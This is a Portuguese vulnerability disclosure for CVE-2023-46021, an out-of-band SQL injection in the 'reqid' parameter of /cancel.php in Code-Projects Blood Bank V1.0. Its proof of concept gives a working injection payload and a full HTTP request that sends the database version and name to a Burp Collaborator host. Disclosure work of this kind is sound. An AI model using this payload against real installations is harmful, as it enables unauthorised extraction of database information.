CVE-2023-46021-Code-Projects-Blood-Bank-1.0-Vulnerabilidade-de-Injeção-SQL-OOB
- Autor do Exploit: ersinerenler
Página do Fornecedor
Link do Software
Visão Geral
- O Blood Bank V1.0 da Code-Projects está exposto a uma vulnerabilidade crítica de segurança envolvendo Injeção SQL Fora de Banda (OOB) através do parâmetro 'reqid' no arquivo /cancel.php. Esta vulnerabilidade surge devido à falta de mecanismos de proteção adequados, permitindo que atacantes abusem do parâmetro e realizem ataques de injeção SQL OOB via Burp Collaborator. Isso pode resultar em acesso não autorizado e extração de informações sensíveis dos bancos de dados.
Detalhes da Vulnerabilidade
- CVE ID: CVE-2023-46021
- Versão Afetada: Blood Bank V1.0
- Arquivo Vulnerável: /cancel.php
- Nome do Parâmetro: reqid
- Tipo de Ataque: Local
Referências:
Descrição
- O parâmetro 'reqid' no arquivo /cancel.php do Blood Bank V1.0 da Code-Projects é suscetível a Injeção SQL Fora de Banda. Esta vulnerabilidade decorre de mecanismos de proteção inadequados, permitindo que atacantes explorem o parâmetro usando o Burp Collaborator para iniciar ataques de injeção SQL OOB. Através desta técnica, um atacante pode potencialmente extrair informações sensíveis dos bancos de dados.
Prova de Conceito (PoC) :
- Intercepte a requisição para cancel.php através do Burp Suite
- Injete o payload nos parâmetros vulneráveis
- Payload:
4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
- Exemplo de requisição para o parâmetro
reqid
---
GET /bloodbank/file/cancel.php?reqid=4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.7mus27hip62tznk3gy4n7z3fo6uxin6c.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/sentrequest.php?msg=You%20have%20requested%20for%20blood%20group%20A+.%20Our%20team%20will%20contact%20you%20soon.
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---
- Informações do banco de dados e versão foram obtidas através do Burp Suite Collaborator
